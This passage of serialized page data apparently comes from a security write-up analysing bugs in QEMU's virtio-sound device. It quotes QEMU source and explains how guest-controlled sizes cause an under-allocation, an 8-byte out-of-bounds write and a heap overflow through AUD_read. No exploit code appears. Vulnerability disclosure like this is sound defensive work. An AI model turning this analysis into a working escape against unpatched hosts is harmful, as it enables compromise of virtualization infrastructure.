populated;\n",{"type":20,"tag":315,"props":122894,"children":122895},{"class":317,"line":453},[122896,122900,122904,122909],{"type":20,"tag":315,"props":122897,"children":122898},{"style":541},[122899],{"type":26,"value":56710},{"type":20,"tag":315,"props":122901,"children":122902},{"style":328},[122903],{"type":26,"value":13505},{"type":20,"tag":315,"props":122905,"children":122906},{"style":541},[122907],{"type":26,"value":122908},"[]",{"type":20,"tag":315,"props":122910,"children":122911},{"style":328},[122912],{"type":26,"value":1405},{"type":20,"tag":315,"props":122914,"children":122915},{"class":317,"line":486},[122916],{"type":20,"tag":315,"props":122917,"children":122918},{"style":328},[122919],{"type":26,"value":14979},{"type":20,"tag":29,"props":122921,"children":122922},{},[122923,122925,122931,122933,122938,122940,122945,122947,122952,122954,122959,122961,122967],{"type":26,"value":122924},"That under-allocation removes the ",{"type":20,"tag":119,"props":122926,"children":122928},{"className":122927},[],[122929],{"type":26,"value":122930},"populated",{"type":26,"value":122932}," field along with the variable-sized ",{"type":20,"tag":119,"props":122934,"children":122936},{"className":122935},[],[122937],{"type":26,"value":2085},{"type":26,"value":122939}," array. As the comment says, ",{"type":20,"tag":119,"props":122941,"children":122943},{"className":122942},[],[122944],{"type":26,"value":122930},{"type":26,"value":122946}," is only relevant to the TX path and is not used for audio input. However, by making the iovec size ",{"type":20,"tag":119,"props":122948,"children":122950},{"className":122949},[],[122951],{"type":26,"value":2406},{"type":26,"value":122953},", the device believes data should be ",{"type":20,"tag":119,"props":122955,"children":122957},{"className":122956},[],[122958],{"type":26,"value":2406},{"type":26,"value":122960}," byte, while the actual allocation is ",{"type":20,"tag":119,"props":122962,"children":122964},{"className":122963},[],[122965],{"type":26,"value":122966},"sizeof(VirtIOSoundPCMBuffer) - 7",{"type":26,"value":61},{"type":20,"tag":17297,"props":122969,"children":122971},{"id":122970},"populating-data-buffers",[122972],{"type":26,"value":122973},"Populating Data Buffers",{"type":20,"tag":29,"props":122975,"children":122976},{},[122977],{"type":26,"value":122978},"Let's take a look at how the allocated data buffer for the input stream is filled:",{"type":20,"tag":305,"props":122980,"children":122982},{"code":122981,"language":1528,"meta":7,"className":14916,"style":7},"/*\n * AUD_* input callback.\n *\n * @data: VirtIOSoundPCMStream stream\n * @available: number of bytes that can be read with AUD_read()\n */\nstatic void virtio_snd_pcm_in_cb(void *data, int available)\n{\n VirtIOSoundPCMStream *stream = data;\n VirtIOSoundPCMBuffer *buffer;\n size_t size, max_size;\n\n WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n while (!QSIMPLEQ_EMPTY(&stream->queue)) {\n buffer = QSIMPLEQ_FIRST(&stream->queue);\n\n [...]\n\n max_size = iov_size( // [1]\n buffer->elem->in_sg,\n buffer->elem->in_num\n );\n for (;;) {\n if (buffer->size >= max_size) { // [2]\n return_rx_buffer(stream, buffer);\n break;\n }\n size = AUD_read(stream->voice.in,\n buffer->data + buffer->size,\n MIN(available, (stream->params.period_bytes - // [3]\n buffer->size)));\n if (!size) {\n available = 0;\n break;\n }\n buffer->size += size;\n available -= size;\n [...]\n }\n }\n }\n}\n",[122983],{"type":20,"tag":119,"props":122984,"children":122985},{"__ignoreMap":7},[122986,122993,123001,123008,123016,123024,123031,123080,123087,123113,123130,123142,123149,123181,123226,123266,123273,123281,123288,123313,123341,123365,123373,123385,123423,123436,123448,123455,123501,123538,123581,123602,123622,123642,123653,123660,123683,123699,123707,123714,123721,123728],{"type":20,"tag":315,"props":122987,"children":122988},{"class":317,"line":318},[122989],{"type":20,"tag":315,"props":122990,"children":122991},{"style":1071},[122992],{"type":26,"value":47617},{"type":20,"tag":315,"props":122994,"children":122995},{"class":317,"line":356},[122996],{"type":20,"tag":315,"props":122997,"children":122998},{"style":1071},[122999],{"type":26,"value":123000}," * AUD_* input callback.\n",{"type":20,"tag":315,"props":123002,"children":123003},{"class":317,"line":365},[123004],{"type":20,"tag":315,"props":123005,"children":123006},{"style":1071},[123007],{"type":26,"value":17892},{"type":20,"tag":315,"props":123009,"children":123010},{"class":317,"line":374},[123011],{"type":20,"tag":315,"props":123012,"children":123013},{"style":1071},[123014],{"type":26,"value":123015}," * @data: VirtIOSoundPCMStream stream\n",{"type":20,"tag":315,"props":123017,"children":123018},{"class":317,"line":383},[123019],{"type":20,"tag":315,"props":123020,"children":123021},{"style":1071},[123022],{"type":26,"value":123023}," * @available: number of bytes that can be read with AUD_read()\n",{"type":20,"tag":315,"props":123025,"children":123026},{"class":317,"line":407},[123027],{"type":20,"tag":315,"props":123028,"children":123029},{"style":1071},[123030],{"type":26,"value":122086},{"type":20,"tag":315,"props":123032,"children":123033},{"class":317,"line":421},[123034,123038,123042,123047,123051,123055,123059,123063,123067,123071,123076],{"type":20,"tag":315,"props":123035,"children":123036},{"style":541},[123037],{"type":26,"value":49296},{"type":20,"tag":315,"props":123039,"children":123040},{"style":541},[123041],{"type":26,"value":49301},{"type":20,"tag":315,"props":123043,"children":123044},{"style":345},[123045],{"type":26,"value":123046}," virtio_snd_pcm_in_cb",{"type":20,"tag":315,"props":123048,"children":123049},{"style":328},[123050],{"type":26,"value":1049},{"type":20,"tag":315,"props":123052,"children":123053},{"style":541},[123054],{"type":26,"value":49879},{"type":20,"tag":315,"props":123056,"children":123057},{"style":334},[123058],{"type":26,"value":8216},{"type":20,"tag":315,"props":123060,"children":123061},{"style":635},[123062],{"type":26,"value":2085},{"type":20,"tag":315,"props":123064,"children":123065},{"style":328},[123066],{"type":26,"value":44},{"type":20,"tag":315,"props":123068,"children":123069},{"style":541},[123070],{"type":26,"value":17451},{"type":20,"tag":315,"props":123072,"children":123073},{"style":635},[123074],{"type":26,"value":123075}," available",{"type":20,"tag":315,"props":123077,"children":123078},{"style":328},[123079],{"type":26,"value":380},{"type":20,"tag":315,"props":123081,"children":123082},{"class":317,"line":430},[123083],{"type":20,"tag":315,"props":123084,"children":123085},{"style":328},[123086],{"type":26,"value":723},{"type":20,"tag":315,"props":123088,"children":123089},{"class":317,"line":453},[123090,123095,123099,123104,123108],{"type":20,"tag":315,"props":123091,"children":123092},{"style":328},[123093],{"type":26,"value":123094}," VirtIOSoundPCMStream ",{"type":20,"tag":315,"props":123096,"children":123097},{"style":334},[123098],{"type":26,"value":901},{"type":20,"tag":315,"props":123100,"children":123101},{"style":328},[123102],{"type":26,"value":123103},"stream ",{"type":20,"tag":315,"props":123105,"children":123106},{"style":334},[123107],{"type":26,"value":337},{"type":20,"tag":315,"props":123109,"children":123110},{"style":328},[123111],{"type":26,"value":123112}," data;\n",{"type":20,"tag":315,"props":123114,"children":123115},{"class":317,"line":486},[123116,123121,123125],{"type":20,"tag":315,"props":123117,"children":123118},{"style":328},[123119],{"type":26,"value":123120}," VirtIOSoundPCMBuffer ",{"type":20,"tag":315,"props":123122,"children":123123},{"style":334},[123124],{"type":26,"value":901},{"type":20,"tag":315,"props":123126,"children":123127},{"style":328},[123128],{"type":26,"value":123129},"buffer;\n",{"type":20,"tag":315,"props":123131,"children":123132},{"class":317,"line":499},[123133,123137],{"type":20,"tag":315,"props":123134,"children":123135},{"style":541},[123136],{"type":26,"value":14966},{"type":20,"tag":315,"props":123138,"children":123139},{"style":328},[123140],{"type":26,"value":123141}," size, max_size;\n",{"type":20,"tag":315,"props":123143,"children":123144},{"class":317,"line":513},[123145],{"type":20,"tag":315,"props":123146,"children":123147},{"emptyLinePlaceholder":15},[123148],{"type":26,"value":427},{"type":20,"tag":315,"props":123150,"children":123151},{"class":317,"line":521},[123152,123157,123161,123165,123169,123173,123177],{"type":20,"tag":315,"props":123153,"children":123154},{"style":345},[123155],{"type":26,"value":123156}," WITH_QEMU_LOCK_GUARD",{"type":20,"tag":315,"props":123158,"children":123159},{"style":328},[123160],{"type":26,"value":1049},{"type":20,"tag":315,"props":123162,"children":123163},{"style":334},[123164],{"type":26,"value":1490},{"type":20,"tag":315,"props":123166,"children":123167},{"style":635},[123168],{"type":26,"value":34677},{"type":20,"tag":315,"props":123170,"children":123171},{"style":328},[123172],{"type":26,"value":12158},{"type":20,"tag":315,"props":123174,"children":123175},{"style":635},[123176],{"type":26,"value":122333},{"type":20,"tag":315,"props":123178,"children":123179},{"style":328},[123180],{"type":26,"value":549},{"type":20,"tag":315,"props":123182,"children":123183},{"class":317,"line":552},[123184,123189,123193,123197,123202,123206,123210,123214,123218,123222],{"type":20,"tag":315,"props":123185,"children":123186},{"style":525},[123187],{"type":26,"value":123188}," while",{"type":20,"tag":315,"props":123190,"children":123191},{"style":328},[123192],{"type":26,"value":463},{"type":20,"tag":315,"props":123194,"children":123195},{"style":334},[123196],{"type":26,"value":19025},{"type":20,"tag":315,"props":123198,"children":123199},{"style":345},[123200],{"type":26,"value":123201},"QSIMPLEQ_EMPTY",{"type":20,"tag":315,"props":123203,"children":123204},{"style":328},[123205],{"type":26,"value":1049},{"type":20,"tag":315,"props":123207,"children":123208},{"style":334},[123209],{"type":26,"value":1490},{"type":20,"tag":315,"props":123211,"children":123212},{"style":635},[123213],{"type":26,"value":34677},{"type":20,"tag":315,"props":123215,"children":123216},{"style":328},[123217],{"type":26,"value":12158},{"type":20,"tag":315,"props":123219,"children":123220},{"style":635},[123221],{"type":26,"value":122586},{"type":20,"tag":315,"props":123223,"children":123224},{"style":328},[123225],{"type":26,"value":33609},{"type":20,"tag":315,"props":123227,"children":123228},{"class":317,"line":571},[123229,123233,123237,123242,123246,123250,123254,123258,123262],{"type":20,"tag":315,"props":123230,"children":123231},{"style":328},[123232],{"type":26,"value":122422},{"type":20,"tag":315,"props":123234,"children":123235},{"style":334},[123236],{"type":26,"value":337},{"type":20,"tag":315,"props":123238,"children":123239},{"style":345},[123240],{"type":26,"value":123241}," QSIMPLEQ_FIRST",{"type":20,"tag":315,"props":123243,"children":123244},{"style":328},[123245],{"type":26,"value":1049},{"type":20,"tag":315,"props":123247,"children":123248},{"style":334},[123249],{"type":26,"value":1490},{"type":20,"tag":315,"props":123251,"children":123252},{"style":635},[123253],{"type":26,"value":34677},{"type":20,"tag":315,"props":123255,"children":123256},{"style":328},[123257],{"type":26,"value":12158},{"type":20,"tag":315,"props":123259,"children":123260},{"style":635},[123261],{"type":26,"value":122586},{"type":20,"tag":315,"props":123263,"children":123264},{"style":328},[123265],{"type":26,"value":2214},{"type":20,"tag":315,"props":123267,"children":123268},{"class":317,"line":2031},[123269],{"type":20,"tag":315,"props":123270,"children":123271},{"emptyLinePlaceholder":15},[123272],{"type":26,"value":427},{"type":20,"tag":315,"props":123274,"children":123275},{"class":317,"line":2053},[123276],{"type":20,"tag":315,"props":123277,"children":123278},{"style":328},[123279],{"type":26,"value":123280}," [...]\n",{"type":20,"tag":315,"props":123282,"children":123283},{"class":317,"line":2061},[123284],{"type":20,"tag":315,"props":123285,"children":123286},{"emptyLinePlaceholder":15},[123287],{"type":26,"value":427},{"type":20,"tag":315,"props":123289,"children":123290},{"class":317,"line":2070},[123291,123296,123300,123304,123308],{"type":20,"tag":315,"props":123292,"children":123293},{"style":328},[123294],{"type":26,"value":123295}," max_size ",{"type":20,"tag":315,"props":123297,"children":123298},{"style":334},[123299],{"type":26,"value":337},{"type":20,"tag":315,"props":123301,"children":123302},{"style":345},[123303],{"type":26,"value":122354},{"type":20,"tag":315,"props":123305,"children":123306},{"style":328},[123307],{"type":26,"value":1049},{"type":20,"tag":315,"props":123309,"children":123310},{"style":1071},[123311],{"type":26,"value":123312}," // [1]\n",{"type":20,"tag":315,"props":123314,"children":123315},{"class":317,"line":2139},[123316,123321,123325,123329,123333,123337],{"type":20,"tag":315,"props":123317,"children":123318},{"style":635},[123319],{"type":26,"value":123320}," buffer",{"type":20,"tag":315,"props":123322,"children":123323},{"style":328},[123324],{"type":26,"value":12158},{"type":20,"tag":315,"props":123326,"children":123327},{"style":635},[123328],{"type":26,"value":50316},{"type":20,"tag":315,"props":123330,"children":123331},{"style":328},[123332],{"type":26,"value":12158},{"type":20,"tag":315,"props":123334,"children":123335},{"style":635},[123336],{"type":26,"value":122371},{"type":20,"tag":315,"props":123338,"children":123339},{"style":328},[123340],{"type":26,"value":643},{"type":20,"tag":315,"props":123342,"children":123343},{"class":317,"line":2147},[123344,123348,123352,123356,123360],{"type":20,"tag":315,"props":123345,"children":123346},{"style":635},[123347],{"type":26,"value":123320},{"type":20,"tag":315,"props":123349,"children":123350},{"style":328},[123351],{"type":26,"value":12158},{"type":20,"tag":315,"props":123353,"children":123354},{"style":635},[123355],{"type":26,"value":50316},{"type":20,"tag":315,"props":123357,"children":123358},{"style":328},[123359],{"type":26,"value":12158},{"type":20,"tag":315,"props":123361,"children":123362},{"style":635},[123363],{"type":26,"value":123364},"in_num\n",{"type":20,"tag":315,"props":123366,"children":123367},{"class":317,"line":2177},[123368],{"type":20,"tag":315,"props":123369,"children":123370},{"style":328},[123371],{"type":26,"value":123372}," );\n",{"type":20,"tag":315,"props":123374,"children":123375},{"class":317,"line":2185},[123376,123381],{"type":20,"tag":315,"props":123377,"children":123378},{"style":525},[123379],{"type":26,"value":123380}," for",{"type":20,"tag":315,"props":123382,"children":123383},{"style":328},[123384],{"type":26,"value":122184},{"type":20,"tag":315,"props":123386,"children":123387},{"class":317,"line":2217},[123388,123392,123396,123401,123405,123409,123413,123418],{"type":20,"tag":315,"props":123389,"children":123390},{"style":525},[123391],{"type":26,"value":101778},{"type":20,"tag":315,"props":123393,"children":123394},{"style":328},[123395],{"type":26,"value":463},{"type":20,"tag":315,"props":123397,"children":123398},{"style":635},[123399],{"type":26,"value":123400},"buffer",{"type":20,"tag":315,"props":123402,"children":123403},{"style":328},[123404],{"type":26,"value":12158},{"type":20,"tag":315,"props":123406,"children":123407},{"style":635},[123408],{"type":26,"value":122518},{"type":20,"tag":315,"props":123410,"children":123411},{"style":334},[123412],{"type":26,"value":6698},{"type":20,"tag":315,"props":123414,"children":123415},{"style":328},[123416],{"type":26,"value":123417}," max_size) {",{"type":20,"tag":315,"props":123419,"children":123420},{"style":1071},[123421],{"type":26,"value":123422}," // [2]\n",{"type":20,"tag":315,"props":123424,"children":123425},{"class":317,"line":2225},[123426,123431],{"type":20,"tag":315,"props":123427,"children":123428},{"style":345},[123429],{"type":26,"value":123430}," return_rx_buffer",{"type":20,"tag":315,"props":123432,"children":123433},{"style":328},[123434],{"type":26,"value":123435},"(stream, buffer);\n",{"type":20,"tag":315,"props":123437,"children":123438},{"class":317,"line":2285},[123439,123444],{"type":20,"tag":315,"props":123440,"children":123441},{"style":525},[123442],{"type":26,"value":123443}," break",{"type":20,"tag":315,"props":123445,"children":123446},{"style":328},[123447],{"type":26,"value":1405},{"type":20,"tag":315,"props":123449,"children":123450},{"class":317,"line":7444},[123451],{"type":20,"tag":315,"props":123452,"children":123453},{"style":328},[123454],{"type":26,"value":69327},{"type":20,"tag":315,"props":123456,"children":123457},{"class":317,"line":7462},[123458,123463,123467,123472,123476,123480,123484,123489,123493,123497],{"type":20,"tag":315,"props":123459,"children":123460},{"style":328},[123461],{"type":26,"value":123462}," size ",{"type":20,"tag":315,"props":123464,"children":123465},{"style":334},[123466],{"type":26,"value":337},{"type":20,"tag":315,"props":123468,"children":123469},{"style":345},[123470],{"type":26,"value":123471}," AUD_read",{"type":20,"tag":315,"props":123473,"children":123474},{"style":328},[123475],{"type":26,"value":1049},{"type":20,"tag":315,"props":123477,"children":123478},{"style":635},[123479],{"type":26,"value":34677},{"type":20,"tag":315,"props":123481,"children":123482},{"style":328},[123483],{"type":26,"value":12158},{"type":20,"tag":315,"props":123485,"children":123486},{"style":635},[123487],{"type":26,"value":123488},"voice",{"type":20,"tag":315,"props":123490,"children":123491},{"style":328},[123492],{"type":26,"value":61},{"type":20,"tag":315,"props":123494,"children":123495},{"style":635},[123496],{"type":26,"value":93756},{"type":20,"tag":315,"props":123498,"children":123499},{"style":328},[123500],{"type":26,"value":643},{"type":20,"tag":315,"props":123502,"children":123503},{"class":317,"line":7507},[123504,123509,123513,123517,123521,123526,123530,123534],{"type":20,"tag":315,"props":123505,"children":123506},{"style":635},[123507],{"type":26,"value":123508}," buffer",{"type":20,"tag":315,"props":123510,"children":123511},{"style":328},[123512],{"type":26,"value":12158},{"type":20,"tag":315,"props":123514,"children":123515},{"style":635},[123516],{"type":26,"value":2085},{"type":20,"tag":315,"props":123518,"children":123519},{"style":334},[123520],{"type":26,"value":7301},{"type":20,"tag":315,"props":123522,"children":123523},{"style":635},[123524],{"type":26,"value":123525}," buffer",{"type":20,"tag":315,"props":123527,"children":123528},{"style":328},[123529],{"type":26,"value":12158},{"type":20,"tag":315,"props":123531,"children":123532},{"style":635},[123533],{"type":26,"value":122518},{"type":20,"tag":315,"props":123535,"children":123536},{"style":328},[123537],{"type":26,"value":643},{"type":20,"tag":315,"props":123539,"children":123540},{"class":317,"line":7613},[123541,123546,123551,123555,123559,123563,123567,123572,123576],{"type":20,"tag":315,"props":123542,"children":123543},{"style":345},[123544],{"type":26,"value":123545}," MIN",{"type":20,"tag":315,"props":123547,"children":123548},{"style":328},[123549],{"type":26,"value":123550},"(available, (",{"type":20,"tag":315,"props":123552,"children":123553},{"style":635},[123554],{"type":26,"value":34677},{"type":20,"tag":315,"props":123556,"children":123557},{"style":328},[123558],{"type":26,"value":12158},{"type":20,"tag":315,"props":123560,"children":123561},{"style":635},[123562],{"type":26,"value":96540},{"type":20,"tag":315,"props":123564,"children":123565},{"style":328},[123566],{"type":26,"value":61},{"type":20,"tag":315,"props":123568,"children":123569},{"style":635},[123570],{"type":26,"value":123571},"period_bytes",{"type":20,"tag":315,"props":123573,"children":123574},{"style":334},[123575],{"type":26,"value":49507},{"type":20,"tag":315,"props":123577,"children":123578},{"style":1071},[123579],{"type":26,"value":123580}," // [3]\n",{"type":20,"tag":315,"props":123582,"children":123583},{"class":317,"line":21914},[123584,123589,123593,123597],{"type":20,"tag":315,"props":123585,"children":123586},{"style":635},[123587],{"type":26,"value":123588}," buffer",{"type":20,"tag":315,"props":123590,"children":123591},{"style":328},[123592],{"type":26,"value":12158},{"type":20,"tag":315,"props":123594,"children":123595},{"style":635},[123596],{"type":26,"value":122518},{"type":20,"tag":315,"props":123598,"children":123599},{"style":328},[123600],{"type":26,"value":123601},")));\n",{"type":20,"tag":315,"props":123603,"children":123604},{"class":317,"line":21949},[123605,123609,123613,123617],{"type":20,"tag":315,"props":123606,"children":123607},{"style":525},[123608],{"type":26,"value":101778},{"type":20,"tag":315,"props":123610,"children":123611},{"style":328},[123612],{"type":26,"value":463},{"type":20,"tag":315,"props":123614,"children":123615},{"style":334},[123616],{"type":26,"value":19025},{"type":20,"tag":315,"props":123618,"children":123619},{"style":328},[123620],{"type":26,"value":123621},"size) {\n",{"type":20,"tag":315,"props":123623,"children":123624},{"class":317,"line":21957},[123625,123630,123634,123638],{"type":20,"tag":315,"props":123626,"children":123627},{"style":328},[123628],{"type":26,"value":123629}," available ",{"type":20,"tag":315,"props":123631,"children":123632},{"style":334},[123633],{"type":26,"value":337},{"type":20,"tag":315,"props":123635,"children":123636},{"style":765},[123637],{"type":26,"value":985},{"type":20,"tag":315,"props":123639,"children":123640},{"style":328},[123641],{"type":26,"value":1405},{"type":20,"tag":315,"props":123643,"children":123644},{"class":317,"line":21965},[123645,123649],{"type":20,"tag":315,"props":123646,"children":123647},{"style":525},[123648],{"type":26,"value":123443},{"type":20,"tag":315,"props":123650,"children":123651},{"style":328},[123652],{"type":26,"value":1405},{"type":20,"tag":315,"props":123654,"children":123655},{"class":317,"line":21974},[123656],{"type":20,"tag":315,"props":123657,"children":123658},{"style":328},[123659],{"type":26,"value":69327},{"type":20,"tag":315,"props":123661,"children":123662},{"class":317,"line":22016},[123663,123667,123671,123675,123679],{"type":20,"tag":315,"props":123664,"children":123665},{"style":635},[123666],{"type":26,"value":123320},{"type":20,"tag":315,"props":123668,"children":123669},{"style":328},[123670],{"type":26,"value":12158},{"type":20,"tag":315,"props":123672,"children":123673},{"style":635},[123674],{"type":26,"value":122518},{"type":20,"tag":315,"props":123676,"children":123677},{"style":334},[123678],{"type":26,"value":13465},{"type":20,"tag":315,"props":123680,"children":123681},{"style":328},[123682],{"type":26,"value":122860},{"type":20,"tag":315,"props":123684,"children":123685},{"class":317,"line":22049},[123686,123691,123695],{"type":20,"tag":315,"props":123687,"children":123688},{"style":328},[123689],{"type":26,"value":123690}," available ",{"type":20,"tag":315,"props":123692,"children":123693},{"style":334},[123694],{"type":26,"value":102243},{"type":20,"tag":315,"props":123696,"children":123697},{"style":328},[123698],{"type":26,"value":122860},{"type":20,"tag":315,"props":123700,"children":123701},{"class":317,"line":22057},[123702],{"type":20,"tag":315,"props":123703,"children":123704},{"style":328},[123705],{"type":26,"value":123706}," [...]\n",{"type":20,"tag":315,"props":123708,"children":123709},{"class":317,"line":22065},[123710],{"type":20,"tag":315,"props":123711,"children":123712},{"style":328},[123713],{"type":26,"value":57138},{"type":20,"tag":315,"props":123715,"children":123716},{"class":317,"line":22074},[123717],{"type":20,"tag":315,"props":123718,"children":123719},{"style":328},[123720],{"type":26,"value":1728},{"type":20,"tag":315,"props":123722,"children":123723},{"class":317,"line":22150},[123724],{"type":20,"tag":315,"props":123725,"children":123726},{"style":328},[123727],{"type":26,"value":1736},{"type":20,"tag":315,"props":123729,"children":123730},{"class":317,"line":22183},[123731],{"type":20,"tag":315,"props":123732,"children":123733},{"style":328},[123734],{"type":26,"value":577},{"type":20,"tag":29,"props":123736,"children":123737},{},[123738,123739,123744,123745,123751,123753,123759,123761,123766,123767,123772,123774,123779],{"type":26,"value":122640},{"type":20,"tag":119,"props":123740,"children":123742},{"className":123741},[],[123743],{"type":26,"value":122646},{"type":26,"value":44},{"type":20,"tag":119,"props":123746,"children":123748},{"className":123747},[],[123749],{"type":26,"value":123750},"max_size",{"type":26,"value":123752}," is set to ",{"type":20,"tag":119,"props":123754,"children":123756},{"className":123755},[],[123757],{"type":26,"value":123758},"iov_size(in_sg, in_num)",{"type":26,"value":123760},". Both ",{"type":20,"tag":119,"props":123762,"children":123764},{"className":123763},[],[123765],{"type":26,"value":122371},{"type":26,"value":9392},{"type":20,"tag":119,"props":123768,"children":123770},{"className":123769},[],[123771],{"type":26,"value":122388},{"type":26,"value":123773}," are the same guest-controlled fields from ",{"type":20,"tag":119,"props":123775,"children":123777},{"className":123776},[],[123778],{"type":26,"value":122023},{"type":26,"value":61},{"type":20,"tag":29,"props":123781,"children":123782},{},[123783,123785,123790,123792,123798,123800,123806,123808,123814],{"type":26,"value":123784},"Later, at ",{"type":20,"tag":119,"props":123786,"children":123788},{"className":123787},[],[123789],{"type":26,"value":122681},{"type":26,"value":123791},", the code checks whether ",{"type":20,"tag":119,"props":123793,"children":123795},{"className":123794},[],[123796],{"type":26,"value":123797},"buffer->size >= max_size",{"type":26,"value":123799},". In the RX path, ",{"type":20,"tag":119,"props":123801,"children":123803},{"className":123802},[],[123804],{"type":26,"value":123805},"buffer->size",{"type":26,"value":123807}," tracks how many bytes have been written into ",{"type":20,"tag":119,"props":123809,"children":123811},{"className":123810},[],[123812],{"type":26,"value":123813},"buffer->data",{"type":26,"value":123815},", not the size of the allocation itself. This check is therefore intended to stop reading once the buffer is full.",{"type":20,"tag":29,"props":123817,"children":123818},{},[123819,123821,123826,123828,123834,123836,123841,123843,123849],{"type":26,"value":123820},"However, this does not match the allocation logic in ",{"type":20,"tag":119,"props":123822,"children":123824},{"className":123823},[],[123825],{"type":26,"value":122023},{"type":26,"value":123827},", which used: ",{"type":20,"tag":119,"props":123829,"children":123831},{"className":123830},[],[123832],{"type":26,"value":123833},"size = iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status);",{"type":26,"value":123835},". In other words, the allocation subtracts ",{"type":20,"tag":119,"props":123837,"children":123839},{"className":123838},[],[123840],{"type":26,"value":122747},{"type":26,"value":123842},", but the later bound in ",{"type":20,"tag":119,"props":123844,"children":123846},{"className":123845},[],[123847],{"type":26,"value":123848},"virtio_snd_pcm_in_cb",{"type":26,"value":123850}," does not. That mismatch gives us a second bug: an 8-byte OOB write.",{"type":20,"tag":29,"props":123852,"children":123853},{},[123854,123856,123861,123863,123869,123871,123877,123879,123884,123886,123892,123894,123900,123902,123907,123909,123914],{"type":26,"value":123855},"Finally, at ",{"type":20,"tag":119,"props":123857,"children":123859},{"className":123858},[],[123860],{"type":26,"value":122705},{"type":26,"value":123862},", the code calls ",{"type":20,"tag":119,"props":123864,"children":123866},{"className":123865},[],[123867],{"type":26,"value":123868},"AUD_read",{"type":26,"value":123870}," with the following limit:\n",{"type":20,"tag":119,"props":123872,"children":123874},{"className":123873},[],[123875],{"type":26,"value":123876},"MIN(available, stream->params.period_bytes - buffer->size)",{"type":26,"value":123878},". Notice how this bound does not take ",{"type":20,"tag":119,"props":123880,"children":123882},{"className":123881},[],[123883],{"type":26,"value":123750},{"type":26,"value":123885}," into account at all. That means if ",{"type":20,"tag":119,"props":123887,"children":123889},{"className":123888},[],[123890],{"type":26,"value":123891},"available",{"type":26,"value":123893}," is larger than the allocated buffer, and ",{"type":20,"tag":119,"props":123895,"children":123897},{"className":123896},[],[123898],{"type":26,"value":123899},"stream->params.period_bytes",{"type":26,"value":123901}," is also larger than the allocated buffer, ",{"type":20,"tag":119,"props":123903,"children":123905},{"className":123904},[],[123906],{"type":26,"value":123868},{"type":26,"value":123908}," will write past the end of ",{"type":20,"tag":119,"props":123910,"children":123912},{"className":123911},[],[123913],{"type":26,"value":123813},{"type":26,"value":123915}," - the third, and final, bug we found.",{"type":20,"tag":29,"props":123917,"children":123918},{},[123919,123921,123926,123928,123934],{"type":26,"value":123920},"Looking further at the code, we can see that ",{"type":20,"tag":119,"props":123922,"children":123924},{"className":123923},[],[123925],{"type":26,"value":123899},{"type":26,"value":123927}," is fully guest-controlled by issuing a ",{"type":20,"tag":119,"props":123929,"children":123931},{"className":123930},[],[123932],{"type":26,"value":123933},"VIRTIO_SND_R_PCM_SET_PARAMS",{"type":26,"value":123935}," request:",{"type":20,"tag":305,"props":123937,"children":123939},{"code":123938,"language":1528,"meta":7,"className":14916,"style":7},"static\nuint32_t virtio_snd_set_pcm_params(VirtIOSound *s,\n uint32_t stream_id,\n virtio_snd_pcm_set_params *params)\n{\n virtio_snd_pcm_set_params *st_params;\n\n [...]\n\n st_params = virtio_snd_pcm_get_params(s, stream_id);\n\n [...]\n\n st_params->buffer_bytes = le32_to_cpu(params->buffer_bytes);\n st_params->period_bytes = le32_to_cpu(params->period_bytes);\n st_params->features = le32_to_cpu(params->features);\n /* the following are uint8_t, so there's no need to bswap the values. */\n st_params->channels = params->channels;\n st_params->format = params->format;\n st_params->rate = params->rate;\n\n return cpu_to_le32(VIRTIO_SND_S_OK);\n}\n",[123940],{"type":20,"tag":119,"props":123941,"children":123942},{"__ignoreMap":7},[123943,123951,123980,123997,124017,124024,124041,124048,124055,124062,124084,124091,124098,124105,124151,124194,124238,124246,124283,124319,124355,124362,124379],{"type":20,"tag":315,"props":123944,"children":123945},{"class":317,"line":318},[123946],{"type":20,"tag":315,"props":123947,"children":123948},{"style":541},[123949],{"type":26,"value":123950},"static\n",{"type":20,"tag":315,"props":123952,"children":123953},{"class":317,"line":356},[123954,123958,123963,123968,123972,123976],{"type":20,"tag":315,"props":123955,"children":123956},{"style":541},[123957],{"type":26,"value":56186},{"type":20,"tag":315,"props":123959,"children":123960},{"style":345},[123961],{"type":26,"value":123962}," virtio_snd_set_pcm_params",{"type":20,"tag":315,"props":123964,"children":123965},{"style":328},[123966],{"type":26,"value":123967},"(VirtIOSound ",{"type":20,"tag":315,"props":123969,"children":123970},{"style":334},[123971],{"type":26,"value":901},{"type":20,"tag":315,"props":123973,"children":123974},{"style":635},[123975],{"type":26,"value":9052},{"type":20,"tag":315,"props":123977,"children":123978},{"style":328},[123979],{"type":26,"value":643},{"type":20,"tag":315,"props":123981,"children":123982},{"class":317,"line":365},[123983,123988,123993],{"type":20,"tag":315,"props":123984,"children":123985},{"style":541},[123986],{"type":26,"value":123987}," uint32_t",{"type":20,"tag":315,"props":123989,"children":123990},{"style":635},[123991],{"type":26,"value":123992}," stream_id",{"type":20,"tag":315,"props":123994,"children":123995},{"style":328},[123996],{"type":26,"value":643},{"type":20,"tag":315,"props":123998,"children":123999},{"class":317,"line":374},[124000,124005,124009,124013],{"type":20,"tag":315,"props":124001,"children":124002},{"style":328},[124003],{"type":26,"value":124004}," virtio_snd_pcm_set_params ",{"type":20,"tag":315,"props":124006,"children":124007},{"style":334},[124008],{"type":26,"value":901},{"type":20,"tag":315,"props":124010,"children":124011},{"style":635},[124012],{"type":26,"value":96540},{"type":20,"tag":315,"props":124014,"children":124015},{"style":328},[124016],{"type":26,"value":380},{"type":20,"tag":315,"props":124018,"children":124019},{"class":317,"line":383},[124020],{"type":20,"tag":315,"props":124021,"children":124022},{"style":328},[124023],{"type":26,"value":723},{"type":20,"tag":315,"props":124025,"children":124026},{"class":317,"line":407},[124027,124032,124036],{"type":20,"tag":315,"props":124028,"children":124029},{"style":328},[124030],{"type":26,"value":124031}," virtio_snd_pcm_set_params 